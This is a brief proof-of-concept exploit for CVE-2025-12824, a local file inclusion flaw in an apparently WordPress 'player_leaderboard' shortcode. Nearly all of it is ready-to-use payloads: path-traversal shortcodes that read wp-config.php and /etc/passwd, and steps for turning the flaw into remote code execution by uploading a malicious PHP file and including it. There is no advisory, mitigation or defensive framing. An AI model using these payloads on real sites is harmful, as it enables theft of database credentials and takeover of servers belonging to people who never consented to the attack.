CVE-2025-12824

# CVE-2025-12824 PoC - Player Leaderboard LFI # Requires Contributor+ level access # Basic LFI to read sensitive files [player_leaderboard mode="../../wp-config.php"] # Read /etc/passwd [player_leaderboard mode="../../../../../../etc/passwd"] # Path traversal to read wp-config.php [player_leaderboard mode="../../../../../../var/www/html/wp-config.php"] # Combined with file upload to achieve RCE: # 1. Upload a malicious PHP file via media upload or other vectors # 2. Include the uploaded file: [player_leaderboard mode="../../../../uploads/2025/malicious.php"]

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